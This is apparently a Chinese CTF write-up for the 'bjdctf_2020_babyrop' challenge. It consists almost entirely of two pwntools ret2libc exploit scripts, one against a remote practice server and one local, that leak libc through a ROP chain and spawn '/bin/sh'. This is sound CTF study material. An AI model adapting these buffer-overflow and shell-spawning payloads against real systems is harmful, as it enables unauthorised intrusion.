bjdctf_2020_babyrop
这道题也是经典的ret2libc
点击查看代码
from pwn import *
from LibcSearcher import *
io=remote("node4.buuoj.cn",25607)
#io=process("./bjdctf_2020_babyrop")
elf=ELF("./bjdctf_2020_babyrop")
io.recvuntil("Pull up your sword and tell me u story!")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
rdi_addr=0x400733
main_addr=elf.sym["main"]
payload="a"*(0x20+0x8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.send(payload)
io.recv()
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
#libc=LibcSearcher('puts',puts_addr)
libc=ELF("libc-2.23.so")
#libc_puts=libc.dump('puts')
libc_puts=libc.sym["puts"]
libc_sys=libc.sym['system']
libcbase=puts_addr-libc_puts
sys_addr=libcbase+libc_sys
libc_bin_sh=libc.search("/bin/sh\x00").next()
bin_sh_addr=libcbase+libc_bin_sh
io.recvuntil("Pull up your sword and tell me u story!")
payload='a'*(0x20+0x8)+p64(rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)
io.send(payload)
io.interactive()
点击查看代码
from pwn import *
from LibcSearcher import *
#io=remote("node4.buuoj.cn",25607)
io=process("./bjdctf_2020_babyrop")
elf=ELF("./bjdctf_2020_babyrop")
io.recvuntil("Pull up your sword and tell me u story!")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
rdi_addr=0x400733
main_addr=elf.sym["main"]
payload="a"*(0x20+0x8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.send(payload)
io.recv()
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
#libc=LibcSearcher('puts',puts_addr)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc_puts=libc.dump('puts')
libc_puts=libc.sym["puts"]
libc_sys=libc.sym['system']
libcbase=puts_addr-libc_puts
sys_addr=libcbase+libc_sys
libc_bin_sh=libc.search("/bin/sh\x00").next()
bin_sh_addr=libcbase+libc_bin_sh
io.recvuntil("Pull up your sword and tell me u story!")
payload='a'*(0x20+0x8)+p64(rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)
io.send(payload)
io.interactive()

浙公网安备 33010602011771号